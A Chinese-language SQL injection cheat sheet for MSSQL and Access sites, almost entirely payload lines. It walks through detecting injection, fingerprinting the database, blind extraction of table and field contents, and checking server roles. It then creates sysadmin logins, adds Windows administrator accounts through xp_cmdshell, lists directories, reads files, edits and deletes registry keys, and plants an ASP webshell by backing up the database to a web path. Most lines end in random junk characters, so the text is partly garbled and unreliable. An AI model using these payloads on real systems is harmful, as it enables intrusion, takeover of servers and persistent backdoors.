1.判断是否有注入;and 1=1 ;and 1=2 >[%.h(h/%
2.初步判断是否是mssql ;and user>0 }!yD^:[5
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3.注入参数是字符'and [查询条件] and ''=' 3{I=#>;
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' E
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5.判断数据库系统 SL\y\GaV
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;and (select count(*) from sysobjects)>0 mssql HHIUl,P
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;and (select count(*) from msysobjects)>0 access 77&^$JpM
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 vrm{Ql&
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 J.e8UQ@=5
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ! N"L`RWD
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9.(1)猜字段的ascii值(access) ({H+ y
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 qJFgbq4-
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(2)猜字段的ascii值(mssql) cxP9n8CuT
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 z^a!C#IX
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10.测试权限结构(mssql) rm)SfT<
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- !AD0-fZ
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- S`2mtg
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- +zVcOS*-
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- :9x084ESR)
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- [nN\{"~O
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- r_V2 J{B
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;and 1=(select IS_MEMBER('db_owner'));-- Ot2zhR )
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11.添加mssql和系统的帐户 uku}Mr"p
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;exec master.dbo.sp_addlogin username;-- WK_y1(v>
;exec master.dbo.sp_password null,username,password;-- GEe 0@q#YA
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;exec master.dbo.sp_addsrvrolemember sysadmin username;--
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;exec master.dbo.xp_cmdshell 'net user username password rKy-u
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 1|l)gfcP
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- <>T&ab@dE(
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ni"$[8U
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;create table dirs(paths varchar(100), id int) c+Q.?vJ
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;insert dirs exec master.dbo.xp_dirtree 'c:\' j5,^9'
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;and (select top 1 paths from dirs)>0 t> x-1vf%
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) !Ig|m+
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(2)遍历目录 !y
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- AK@`'$
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 m{bZRkt
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Ss#@=:"P
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 /i-xX*
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 o[bE
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13.mssql中的存储过程 rP^TN^bd|
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xp_regenumvalues 注册表根键, 子键 @)W(q5)}9"
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 PcHSm/d0e
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xp_regread 根键,子键,键值名 yqC Q24
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;exec xp_regread ;~Q
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 |
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xp_regwrite 根键,子键, 值名, 值类型, 值 w24{_ N
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ^CZCZ,v
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xp_regdeletevalue 根键,子键,值名 ADv^eJJ|
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 =jg#fdM
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 FAQr~G}
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14.mssql的backup创建webshell EMVk:Vt]
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use model ?QCmSK=L
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create table cmd(str image); [##`Um
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insert into cmd(str) values (''); YBb)/ZghY
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backup database model to disk='c:\l.asp'; vU=9ydAj?
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15.mssql内置函数 9T(L"9r-e
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;and (select @@version)>0 获得Windows的版本号 BjJ,"sT
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 4p.^'2m
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;and (select user_name())>0 爆当前系统的连接用户 ?b||Cr
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;and (select db_name())>0 得到当前连接的数据库 0cHfxy3
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16.简洁的webshell '.?^uM
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use model 6X/wdk
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insert into cmd(str) values (''); Pm4e8b
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backup database model to disk='g:\wwwtest\l.asp';